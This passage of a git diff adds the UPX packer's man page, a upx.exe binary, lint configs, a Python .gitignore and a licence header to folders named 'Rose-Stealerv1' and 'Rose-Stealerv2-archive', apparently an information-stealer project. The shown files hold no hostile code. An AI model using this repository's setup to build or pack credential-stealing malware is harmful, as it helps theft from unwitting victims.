compression ratio over speed. +.IP "\(bu" 4 +Compression level \fB\-\-best\fR may take a long time. +.PP +Note that compression level \fB\-\-best\fR can be somewhat slow for large +files, but you definitely should use it when releasing a final version +of your program. +.PP +Quick info for achieving the best compression ratio: +.IP "\(bu" 4 +Try \fBupx \-\-brute \-\-no\-lzma myfile.exe\fR or even +\&\fBupx \-\-ultra\-brute \-\-no\-lzma myfile.exe\fR. +.IP "\(bu" 4 +The option \fB\-\-lzma\fR enables \s-1LZMA\s0 compression, which compresses better but +is *significantly slower* at decompression. You probably do not want +to use it for large files. +.Sp +(Note that \fB\-\-lzma\fR is automatically enabled by \fB\-\-all\-methods\fR and +\&\fB\-\-brute\fR, use \fB\-\-no\-lzma\fR to override.) +.IP "\(bu" 4 +Try if \fB\-\-overlay=strip\fR works. +.IP "\(bu" 4 +For win32/pe programs there's \fB\-\-strip\-relocs=0\fR. See notes below. +.SH "OVERLAY HANDLING OPTIONS" +.IX Header "OVERLAY HANDLING OPTIONS" +Info: An \*(L"overlay\*(R" means auxiliary data attached after the logical end of +an executable, and it often contains application specific data +(this is a common practice to avoid an extra data file, though +it would be better to use resource sections). +.PP +\&\fB\s-1UPX\s0\fR handles overlays like many other executable packers do: it simply +copies the overlay after the compressed image. This works with some +files, but doesn't work with others, depending on how an application +actually accesses this overlaid data. +.PP +.Vb 1 +\& \-\-overlay=copy Copy any extra data attached to the file. [DEFAULT] +\& +\& \-\-overlay=strip Strip any overlay from the program instead of +\& copying it. Be warned, this may make the compressed +\& program crash or otherwise unusable. +\& +\& \-\-overlay=skip Refuse to compress any program which has an overlay. +.Ve +.SH "ENVIRONMENT VARIABLE" +.IX Header "ENVIRONMENT VARIABLE" +The environment variable \fB\s-1UPX\s0\fR can hold a set of default +options for \fB\s-1UPX\s0\fR. These options are interpreted first and +can be overwritten by explicit command line parameters. +For example: +.PP +.Vb 3 +\& for DOS/Windows: set UPX=\-9 \-\-compress\-icons#0 +\& for sh/ksh/zsh: UPX="\-9 \-\-compress\-icons=0"; export UPX +\& for csh/tcsh: setenv UPX "\-9 \-\-compress\-icons=0" +.Ve +.PP +Under DOS/Windows you must use '#' instead of '=' when setting the +environment variable because of a \s-1COMMAND.COM\s0 limitation. +.PP +Not all of the options are valid in the environment variable \- +\&\fB\s-1UPX\s0\fR will tell you. +.PP +You can explicitly use the \fB\-\-no\-env\fR option to ignore the +environment variable. +.SH "NOTES FOR THE SUPPORTED EXECUTABLE FORMATS" +.IX Header "NOTES FOR THE SUPPORTED EXECUTABLE FORMATS" +.SS "\s-1NOTES FOR ATARI/TOS\s0" +.IX Subsection "NOTES FOR ATARI/TOS" +This is the executable format used by the Atari \s-1ST/TT,\s0 a Motorola 68000 +based personal computer which was popular in the late '80s. Support +of this format is only because of nostalgic feelings of one of +the authors and serves no practical purpose :\-). +See https://freemint.github.io for more info. +.PP +Packed programs will be byte-identical to the original after uncompression. +All debug information will be stripped, though. +.PP +Extra options available for this executable format: +.PP +.Vb 4 +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR BVMLINUZ/I386\s0" +.IX Subsection "NOTES FOR BVMLINUZ/I386" +Same as vmlinuz/i386. +.SS "\s-1NOTES FOR DOS/COM\s0" +.IX Subsection "NOTES FOR DOS/COM" +Obviously \fB\s-1UPX\s0\fR won't work with executables that want to read data from +themselves (like some commandline utilities that ship with Win95/98/ME). +.PP +Compressed programs only work on a 286+. +.PP +Packed programs will be byte-identical to the original after uncompression. +.PP +Maximum uncompressed size: ~65100 bytes. +.PP +Extra options available for this executable format: +.PP +.Vb 1 +\& \-\-8086 Create an executable that works on any 8086 CPU. +\& +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-all\-filters Compress the program several times, using all +\& available preprocessing filters. This may improve +\& the compression ratio in some cases, but usually +\& the default filter gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR DOS/EXE\s0" +.IX Subsection "NOTES FOR DOS/EXE" +dos/exe stands for all \*(L"normal\*(R" 16\-bit \s-1DOS\s0 executables. +.PP +Obviously \fB\s-1UPX\s0\fR won't work with executables that want to read data from +themselves (like some command line utilities that ship with Win95/98/ME). +.PP +Compressed programs only work on a 286+. +.PP +Extra options available for this executable format: +.PP +.Vb 1 +\& \-\-8086 Create an executable that works on any 8086 CPU. +\& +\& \-\-no\-reloc Use no relocation records in the exe header. +\& +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR DOS/SYS\s0" +.IX Subsection "NOTES FOR DOS/SYS" +Compressed programs only work on a 286+. +.PP +Packed programs will be byte-identical to the original after uncompression. +.PP +Maximum uncompressed size: ~65350 bytes. +.PP +Extra options available for this executable format: +.PP +.Vb 1 +\& \-\-8086 Create an executable that works on any 8086 CPU. +\& +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-all\-filters Compress the program several times, using all +\& available preprocessing filters. This may improve +\& the compression ratio in some cases, but usually +\& the default filter gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR DJGPP2/COFF\s0" +.IX Subsection "NOTES FOR DJGPP2/COFF" +First of all, it is recommended to use \fB\s-1UPX\s0\fR *instead* of \fBstrip\fR. strip has +the very bad habit of replacing your stub with its own (outdated) version. +Additionally \fB\s-1UPX\s0\fR corrects a bug/feature in strip v2.8.x: it +will fix the 4 KiB alignment of the stub. +.PP +\&\fB\s-1UPX\s0\fR includes the full functionality of stubify. This means it will +automatically stubify your \s-1COFF\s0 files. Use the option \fB\-\-coff\fR to +disable this functionality (see below). +.PP +\&\fB\s-1UPX\s0\fR automatically handles Allegro packfiles. +.PP +The \s-1DLM\s0 format (a rather exotic shared library extension) is not supported. +.PP +Packed programs will be byte-identical to the original after uncompression. +All debug information and trailing garbage will be stripped, though. +.PP +Extra options available for this executable format: +.PP +.Vb 2 +\& \-\-coff Produce COFF output instead of EXE. By default +\& UPX keeps your current stub. +\& +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-all\-filters Compress the program several times, using all +\& available preprocessing filters. This may improve +\& the compression ratio in some cases, but usually +\& the default filter gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR LINUX\s0 [general]" +.IX Subsection "NOTES FOR LINUX [general]" +Introduction +.PP +.Vb 4 +\& Linux/386 support in UPX consists of 3 different executable formats, +\& one optimized for ELF executables ("linux/elf386"), one optimized +\& for shell scripts ("linux/sh386"), and one generic format +\& ("linux/386"). +\& +\& We will start with a general discussion first, but please +\& also read the relevant docs for each of the individual formats. +\& +\& Also, there is special support for bootable kernels \- see the +\& description of the vmlinuz/386 format. +.Ve +.PP +General user's overview +.PP +.Vb 7 +\& Running a compressed executable program trades less space on a +\& \`\`permanent\*(Aq\*(Aq storage medium (such as a hard disk, floppy disk, +\& CD\-ROM, flash memory, EPROM, etc.) for more space in one or more +\& \`\`temporary\*(Aq\*(Aq storage media (such as RAM, swap space, /tmp, etc.). +\& Running a compressed executable also requires some additional CPU +\& cycles to generate the compressed executable in the first place, +\& and to decompress it at each invocation. +\& +\& How much space is traded? It depends on the executable, but many +\& programs save 30% to 50% of permanent disk space. How much CPU +\& overhead is there? Again, it depends on the executable, but +\& decompression speed generally is at least many megabytes per second, +\& and frequently is limited by the speed of the underlying disk +\& or network I/O. +\& +\& Depending on the statistics of usage and access, and the relative +\& speeds of CPU, RAM, swap space, /tmp, and file system storage, then +\& invoking and running a compressed executable can be faster than +\& directly running the corresponding uncompressed program. +\& The operating system might perform fewer expensive I/O operations +\& to invoke the compressed program. Paging to or from swap space +\& or /tmp might be faster than paging from the general file system. +\& \`\`Medium\-sized\*(Aq\*(Aq programs which access about 1/3 to 1/2 of their +\& stored program bytes can do particularly well with compression. +\& Small programs tend not to benefit as much because the absolute +\& savings is less. Big programs tend not to benefit proportionally +\& because each invocation may use only a small fraction of the program, +\& yet UPX decompresses the entire program before invoking it. +\& But in environments where disk or flash memory storage is limited, +\& then compression may win anyway. +\& +\& Currently, executables compressed by UPX do not share RAM at runtime +\& in the way that executables mapped from a file system do. As a +\& result, if the same program is run simultaneously by more than one +\& process, then using the compressed version will require more RAM and/or +\& swap space. So, shell programs (bash, csh, etc.) and \`\`make\*(Aq\*(Aq +\& might not be good candidates for compression. +\& +\& UPX recognizes three executable formats for Linux: Linux/elf386, +\& Linux/sh386, and Linux/386. Linux/386 is the most generic format; +\& it accommodates any file that can be executed. At runtime, the UPX +\& decompression stub re\-creates in /tmp a copy of the original file, +\& and then the copy is (re\-)executed with the same arguments. +\& ELF binary executables prefer the Linux/elf386 format by default, +\& because UPX decompresses them directly into RAM, uses only one +\& exec, does not use space in /tmp, and does not use /proc. +\& Shell scripts where the underlying shell accepts a \`\`\-c\*(Aq\*(Aq argument +\& can use the Linux/sh386 format. UPX decompresses the shell script +\& into low memory, then maps the shell and passes the entire text of the +\& script as an argument with a leading \`\`\-c\*(Aq\*(Aq. +.Ve +.PP +General benefits: +.PP +.Vb 4 +\& \- UPX can compress all executables, be it AOUT, ELF, libc4, libc5, +\& libc6, Shell/Perl/Python/... scripts, standalone Java .class +\& binaries, or whatever... +\& All scripts and programs will work just as before. +\& +\& \- Compressed programs are completely self\-contained. No need for +\& any external program. +\& +\& \- UPX keeps your original program untouched. This means that +\& after decompression you will have a byte\-identical version, +\& and you can use UPX as a file compressor just like gzip. +\& [ Note that UPX maintains a checksum of the file internally, +\& so it is indeed a reliable alternative. ] +\& +\& \- As the stub only uses syscalls and isn\*(Aqt linked against libc it +\& should run under any Linux configuration that can run ELF +\& binaries. +\& +\& \- For the same reason compressed executables should run under +\& FreeBSD and other systems which can run Linux binaries. +\& [ Please send feedback on this topic ] +.Ve +.PP +General drawbacks: +.PP +.Vb 4 +\& \- It is not advisable to compress programs which usually have many +\& instances running (like \`sh\*(Aq or \`make\*(Aq) because the common segments of +\& compressed programs won\*(Aqt be shared any longer between different +\& processes. +\& +\& \- \`ldd\*(Aq and \`size\*(Aq won\*(Aqt show anything useful because all they +\& see is the statically linked stub. Since version 0.82 the section +\& headers are stripped from the UPX stub and \`size\*(Aq doesn\*(Aqt even +\& recognize the file format. The file patches/patch\-elfcode.h has a +\& patch to fix this bug in \`size\*(Aq and other programs which use GNU BFD. +.Ve +.PP +General notes: +.PP +.Vb 2 +\& \- As UPX leaves your original program untouched it is advantageous +\& to strip it before compression. +\& +\& \- If you compress a script you will lose platform independence \- +\& this could be a problem if you are using NFS mounted disks. +\& +\& \- Compression of suid, guid and sticky\-bit programs is rejected +\& because of possible security implications. +\& +\& \- For the same reason there is no sense in making any compressed +\& program suid. +\& +\& \- Obviously UPX won\*(Aqt work with executables that want to read data +\& from themselves. E.g., this might be a problem for Perl scripts +\& which access their _\|_DATA_\|_ lines. +\& +\& \- In case of internal errors the stub will abort with exitcode 127. +\& Typical reasons for this to happen are that the program has somehow +\& been modified after compression. +\& Running \`strace \-o strace.log compressed_file\*(Aq will tell you more. +.Ve +.SS "\s-1NOTES FOR LINUX/ELF386\s0" +.IX Subsection "NOTES FOR LINUX/ELF386" +Please read the general Linux description first. +.PP +The linux/elf386 format decompresses directly into \s-1RAM,\s0 +uses only one exec, does not use space in /tmp, +and does not use /proc. +.PP +Linux/elf386 is automatically selected for Linux \s-1ELF\s0 executables. +.PP +Packed programs will be byte-identical to the original after uncompression. +.PP +How it works: +.PP +.Vb 9 +\& For ELF executables, UPX decompresses directly to memory, simulating +\& the mapping that the operating system kernel uses during exec(), +\& including the PT_INTERP program interpreter (if any). +\& The brk() is set by a special PT_LOAD segment in the compressed +\& executable itself. UPX then wipes the stack clean except for +\& arguments, environment variables, and Elf_auxv entries (this is +\& required by bugs in the startup code of /lib/ld\-linux.so as of +\& May 2000), and transfers control to the program interpreter or +\& the e_entry address of the original executable. +\& +\& The UPX stub is about 1700 bytes long, partly written in assembler +\& and only uses kernel syscalls. It is not linked against any libc. +.Ve +.PP +Specific drawbacks: +.PP +.Vb 9 +\& \- For linux/elf386 and linux/sh386 formats, you will be relying on +\& RAM and swap space to hold all of the decompressed program during +\& the lifetime of the process. If you already use most of your swap +\& space, then you may run out. A system that is "out of memory" +\& can become fragile. Many programs do not react gracefully when +\& malloc() returns 0. With newer Linux kernels, the kernel +\& may decide to kill some processes to regain memory, and you +\& may not like the kernel\*(Aqs choice of which to kill. Running +\& /usr/bin/top is one way to check on the usage of swap space. +.Ve +.PP +Extra options available for this executable format: +.PP +.Vb 1 +\& (none) +.Ve +.SS "\s-1NOTES FOR LINUX/SH386\s0" +.IX Subsection "NOTES FOR LINUX/SH386" +Please read the general Linux description first. +.PP +Shell scripts where the underling shell accepts a ``\-c'' argument +can use the Linux/sh386 format. \fB\s-1UPX\s0\fR decompresses the shell script +into low memory, then maps the shell and passes the entire text of the +script as an argument with a leading ``\-c''. +It does not use space in /tmp, and does not use /proc. +.PP +Linux/sh386 is automatically selected for shell scripts that +use a known shell. +.PP +Packed programs will be byte-identical to the original after uncompression. +.PP +How it works: +.PP +.Vb 8 +\& For shell script executables (files beginning with "#!/" or "#! /") +\& where the shell is known to accept "\-c ", UPX decompresses +\& the file into low memory, then maps the shell (and its PT_INTERP), +\& and passes control to the shell with the entire decompressed file +\& as the argument after "\-c". Known shells are sh, ash, bash, bsh, csh, +\& ksh, tcsh, pdksh. Restriction: UPX cannot use this method +\& for shell scripts which use the one optional string argument after +\& the shell name in the script (example: "#! /bin/sh option3\en".) +\& +\& The UPX stub is about 1700 bytes long, partly written in assembler +\& and only uses kernel syscalls. It is not linked against any libc. +.Ve +.PP +Specific drawbacks: +.PP +.Vb 9 +\& \- For linux/elf386 and linux/sh386 formats, you will be relying on +\& RAM and swap space to hold all of the decompressed program during +\& the lifetime of the process. If you already use most of your swap +\& space, then you may run out. A system that is "out of memory" +\& can become fragile. Many programs do not react gracefully when +\& malloc() returns 0. With newer Linux kernels, the kernel +\& may decide to kill some processes to regain memory, and you +\& may not like the kernel\*(Aqs choice of which to kill. Running +\& /usr/bin/top is one way to check on the usage of swap space. +.Ve +.PP +Extra options available for this executable format: +.PP +.Vb 1 +\& (none) +.Ve +.SS "\s-1NOTES FOR LINUX/386\s0" +.IX Subsection "NOTES FOR LINUX/386" +Please read the general Linux description first. +.PP +The generic linux/386 format decompresses to /tmp and needs +/proc file system support. It starts the decompressed program +via the \fBexecve()\fR syscall. +.PP +Linux/386 is only selected if the specialized linux/elf386 +and linux/sh386 won't recognize a file. +.PP +Packed programs will be byte-identical to the original after uncompression. +.PP +How it works: +.PP +.Vb 7 +\& For files which are not ELF and not a script for a known "\-c" shell, +\& UPX uses kernel execve(), which first requires decompressing to a +\& temporary file in the file system. Interestingly \- +\& because of the good memory management of the Linux kernel \- this +\& often does not introduce a noticeable delay, and in fact there +\& will be no disk access at all if you have enough free memory as +\& the entire process takes places within the file system buffers. +\& +\& A compressed executable consists of the UPX stub and an overlay +\& which contains the original program in a compressed form. +\& +\& The UPX stub is a statically linked ELF executable and does +\& the following at program startup: +\& +\& 1) decompress the overlay to a temporary location in /tmp +\& 2) open the temporary file for reading +\& 3) try to delete the temporary file and start (execve) +\& the uncompressed program in /tmp using /proc//fd/X as +\& attained by step 2) +\& 4) if that fails, fork off a subprocess to clean up and +\& start the program in /tmp in the meantime +\& +\& The UPX stub is about 1700 bytes long, partly written in assembler +\& and only uses kernel syscalls. It is not linked against any libc. +.Ve +.PP +Specific drawbacks: +.PP +.Vb 4 +\& \- You need additional free disk space for the uncompressed program +\& in your /tmp directory. This program is deleted immediately after +\& decompression, but you still need it for the full execution time +\& of the program. +\& +\& \- You must have /proc file system support as the stub wants to open +\& /proc//exe and needs /proc//fd/X. This also means that you +\& cannot compress programs that are used during the boot sequence +\& before /proc is mounted. +\& +\& \- Utilities like \`top\*(Aq will display numerical values in the process +\& name field. This is because Linux computes the process name from +\& the first argument of the last execve syscall (which is typically +\& something like /proc//fd/3). +\& +\& \- Because of temporary decompression to disk the decompression speed +\& is not as fast as with the other executable formats. Still, I can see +\& no noticeable delay when starting programs like my ~3 MiB emacs (which +\& is less than 1 MiB when compressed :\-). +.Ve +.PP +Extra options available for this executable format: +.PP +.Vb 3 +\& \-\-force\-execve Force the use of the generic linux/386 "execve" +\& format, i.e. do not try the linux/elf386 and +\& linux/sh386 formats. +.Ve +.SS "\s-1NOTES FOR PS1/EXE\s0" +.IX Subsection "NOTES FOR PS1/EXE" +This is the executable format used by the Sony PlayStation (PSone), +a \s-1MIPS R3000\s0 based gaming console which is popular since the late '90s. +Support of this format is very similar to the Atari one, because of +nostalgic feelings of one of the authors. +.PP +Packed programs will be byte-identical to the original after uncompression, +until further notice. +.PP +Maximum uncompressed size: ~1.89 / ~7.60 MiB. +.PP +Notes: +.PP +.Vb 6 +\& \- UPX creates as default a suitable executable for CD\-Mastering +\& and console transfer. For a CD\-Master main executable you could also try +\& the special option "\-\-boot\-only" as described below. +\& It has been reported that upx packed executables are fully compatible with +\& the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in +\& Sony PlayStation (PSone) emulation mode. +\& +\& \- Normally the packed files use the same memory areas like the uncompressed +\& versions, so they will not override other memory areas while unpacking. +\& If this isn\*(Aqt possible UPX will abort showing a \*(Aqpacked data overlap\*(Aq +\& error. With the "\-\-force" option UPX will relocate the loading address +\& for the packed file, but this isn\*(Aqt a real problem if it is a single or +\& the main executable. +.Ve +.PP +Extra options available for this executable format: +.PP +.Vb 4 +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-8\-bit Uses 8 bit size compression [default: 32 bit] +\& +\& \-\-8mib\-ram PSone has 8 MiB ram available [default: 2 MiB] +\& +\& \-\-boot\-only This format is for main exes and CD\-Mastering only ! +\& It may slightly improve the compression ratio, +\& decompression routines are faster than default ones. +\& But it cannot be used for console transfer ! +\& +\& \-\-no\-align This option disables CD mode 2 data sector format +\& alignment. May slightly improves the compression ratio, +\& but the compressed executable will not boot from a CD. +\& Use it for console transfer only ! +.Ve +.SS "\s-1NOTES FOR RTM32/PE\s0 and \s-1ARM/PE\s0" +.IX Subsection "NOTES FOR RTM32/PE and ARM/PE" +Same as win32/pe. +.SS "\s-1NOTES FOR TMT/ADAM\s0" +.IX Subsection "NOTES FOR TMT/ADAM" +This format is used by the \s-1TMT\s0 Pascal compiler \- see http://www.tmt.com/ . +.PP +Extra options available for this executable format: +.PP +.Vb 4 +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-all\-filters Compress the program several times, using all +\& available preprocessing filters. This may improve +\& the compression ratio in some cases, but usually +\& the default filter gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR VMLINUZ/386\s0" +.IX Subsection "NOTES FOR VMLINUZ/386" +The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed +bootable Linux kernel image (\*(L"vmlinuz\*(R", \*(L"zImage\*(R", \*(L"bzImage\*(R"), +gzip-decompress it and re-compress it with the \fB\s-1UPX\s0\fR compression method. +.PP +vmlinuz/386 is completely unrelated to the other Linux executable +formats, and it does not share any of their drawbacks. +.PP +Notes: +.PP +.Vb 3 +\& \- Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed +\& during compression \- otherwise a wrong executable format +\& may have been used, and the kernel won\*(Aqt boot. +.Ve +.PP +Benefits: +.PP +.Vb 4 +\& \- Better compression (but note that the kernel was already compressed, +\& so the improvement is not as large as with other formats). +\& Still, the bytes saved may be essential for special needs like +\& boot disks. +\& +\& For example, this is what I get for my 2.2.16 kernel: +\& 1589708 vmlinux +\& 641073 bzImage [original] +\& 560755 bzImage.upx [compressed by "upx \-9"] +\& +\& \- Much faster decompression at kernel boot time (but kernel +\& decompression speed is not really an issue these days). +.Ve +.PP +Drawbacks: +.PP +.Vb 1 +\& (none) +.Ve +.PP +Extra options available for this executable format: +.PP +.Vb 4 +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-all\-filters Compress the program several times, using all +\& available preprocessing filters. This may improve +\& the compression ratio in some cases, but usually +\& the default filter gives the best results anyway. +.Ve +.SS "\s-1NOTES FOR WATCOM/LE\s0" +.IX Subsection "NOTES FOR WATCOM/LE" +\&\fB\s-1UPX\s0\fR has been successfully tested with the following extenders: + \s-1DOS4G, DOS4GW, PMODE/W,\s0 DOS32a, CauseWay. + The \s-1WDOS/X\s0 extender is partly supported (for details + see the file bugs \s-1BUGS\s0). +.PP +DLLs and the \s-1LX\s0 format are not supported. +.PP +Extra options available for this executable format: +.PP +.Vb 2 +\& \-\-le Produce an unbound LE output instead of +\& keeping the current stub. +.Ve +.SS "\s-1NOTES FOR WIN32/PE\s0" +.IX Subsection "NOTES FOR WIN32/PE" +The \s-1PE\s0 support in \fB\s-1UPX\s0\fR is quite stable now, but probably there are +still some incompatibilities with some files. +.PP +Because of the way \fB\s-1UPX\s0\fR (and other packers for this format) works, you +can see increased memory usage of your compressed files because the whole +program is loaded into memory at startup. +If you start several instances of huge compressed programs you're +wasting memory because the common segments of the program won't +get shared across the instances. +On the other hand if you're compressing only smaller programs, or +running only one instance of larger programs, then this penalty is +smaller, but it's still there. +.PP +If you're running executables from network, then compressed programs +will load faster, and require less bandwidth during execution. +.PP +DLLs are supported. But \s-1UPX\s0 compressed DLLs can not share common data and +code when they got used by multiple applications. So compressing msvcrt.dll +is a waste of memory, but compressing the dll plugins of a particular +application may be a better idea. +.PP +Screensavers are supported, with the restriction that the filename +must end with \*(L".scr\*(R" (as screensavers are handled slightly different +than normal exe files). +.PP +\&\s-1UPX\s0 compressed \s-1PE\s0 files have some minor memory overhead (usually in the +10 \- 30 KiB range) which can be seen by specifying the \*(L"\-i\*(R" command +line switch during compression. +.PP +Extra options available for this executable format: +.PP +.Vb 9 +\& \-\-compress\-exports=0 Don\*(Aqt compress the export section. +\& Use this if you plan to run the compressed +\& program under Wine. +\& \-\-compress\-exports=1 Compress the export section. [DEFAULT] +\& Compression of the export section can improve the +\& compression ratio quite a bit but may not work +\& with all programs (like winword.exe). +\& UPX never compresses the export section of a DLL +\& regardless of this option. +\& +\& \-\-compress\-icons=0 Don\*(Aqt compress any icons. +\& \-\-compress\-icons=1 Compress all but the first icon. +\& \-\-compress\-icons=2 Compress all icons which are not in the +\& first icon directory. [DEFAULT] +\& \-\-compress\-icons=3 Compress all icons. +\& +\& \-\-compress\-resources=0 Don\*(Aqt compress any resources at all. +\& +\& \-\-keep\-resource=list Don\*(Aqt compress resources specified by the list. +\& The members of the list are separated by commas. +\& A list member has the following format: I. +\& I is the type of the resource. Standard types +\& must be specified as decimal numbers, user types can be +\& specified by decimal IDs or strings. I is the +\& identifier of the resource. It can be a decimal number +\& or a string. For example: +\& +\& \-\-keep\-resource=2/MYBITMAP,5,6/12345 +\& +\& UPX won\*(Aqt compress the named bitmap resource "MYBITMAP", +\& it leaves every dialog (5) resource uncompressed, and +\& it won\*(Aqt touch the string table resource with identifier +\& 12345. +\& +\& \-\-force Force compression even when there is an +\& unexpected value in a header field. +\& Use with care. +\& +\& \-\-strip\-relocs=0 Don\*(Aqt strip relocation records. +\& \-\-strip\-relocs=1 Strip relocation records. [DEFAULT] +\& This option only works on executables with base +\& address greater or equal to 0x400000. Usually the +\& compressed files becomes smaller, but some files +\& may become larger. Note that the resulting file will +\& not work under Windows 3.x (Win32s). +\& UPX never strips relocations from a DLL +\& regardless of this option. +\& +\& \-\-all\-methods Compress the program several times, using all +\& available compression methods. This may improve +\& the compression ratio in some cases, but usually +\& the default method gives the best results anyway. +\& +\& \-\-all\-filters Compress the program several times, using all +\& available preprocessing filters. This may improve +\& the compression ratio in some cases, but usually +\& the default filter gives the best results anyway. +.Ve +.SH "DIAGNOSTICS" +.IX Header "DIAGNOSTICS" +Exit status is normally 0; if an error occurs, exit status +is 1. If a warning occurs, exit status is 2. +.PP +\&\fB\s-1UPX\s0\fR's diagnostics are intended to be self-explanatory. +.SH "BUGS" +.IX Header "BUGS" +Please report all bugs immediately to the authors. +.SH "AUTHORS" +.IX Header "AUTHORS" +.Vb 2 +\& Markus F.X.J. Oberhumer +\& http://www.oberhumer.com +\& +\& Laszlo Molnar +\& +\& John F. Reiser +\& +\& Jens Medoch +.Ve +.SH "COPYRIGHT" +.IX Header "COPYRIGHT" +Copyright (C) 1996\-2023 Markus Franz Xaver Johannes Oberhumer +.PP +Copyright (C) 1996\-2023 Laszlo Molnar +.PP +Copyright (C) 2000\-2023 John F. Reiser +.PP +Copyright (C) 2002\-2023 Jens Medoch +.PP +\&\fB\s-1UPX\s0\fR is distributed with full source code under the terms of the +\&\s-1GNU\s0 General Public License v2+; either under the pure GPLv2+ (see +the file \s-1COPYING\s0), or (at your option) under the GPLv+2 with special +exceptions and restrictions granting the free usage for all binaries +including commercial programs (see the file \s-1LICENSE\s0). +.PP +This program is distributed in the hope that it will be useful, +but \s-1WITHOUT ANY WARRANTY\s0; without even the implied warranty of +\&\s-1MERCHANTABILITY\s0 or \s-1FITNESS FOR A PARTICULAR PURPOSE.\s0 +.PP +You should have received a copy of the \s-1UPX\s0 License Agreements along +with this program; see the files \s-1COPYING\s0 and \s-1LICENSE.\s0 If not, +visit the \s-1UPX\s0 home page. diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx.exe b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx.exe new file mode 100644 index 0000000..faf54d2 Binary files /dev/null and b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx.exe differ diff --git a/Rose-Stealerv1/setup.cfg b/Rose-Stealerv1/setup.cfg new file mode 100644 index 0000000..121803e --- /dev/null +++ b/Rose-Stealerv1/setup.cfg @@ -0,0 +1,2 @@ +[pycodestyle] +ignore = E722 \ No newline at end of file diff --git a/Rose-Stealerv1/tox.ini b/Rose-Stealerv1/tox.ini new file mode 100644 index 0000000..121803e --- /dev/null +++ b/Rose-Stealerv1/tox.ini @@ -0,0 +1,2 @@ +[pycodestyle] +ignore = E722 \ No newline at end of file diff --git a/Rose-Stealerv2-archive/.gitignore b/Rose-Stealerv2-archive/.gitignore new file mode 100644 index 0000000..d2e0779 --- /dev/null +++ b/Rose-Stealerv2-archive/.gitignore @@ -0,0 +1,160 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/Rose-Stealerv2-archive/LICENSE b/Rose-Stealerv2-archive/LICENSE new file mode 100644 index 0000000..c684c45 --- /dev/null +++ b/Rose-Stealerv2-archive/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 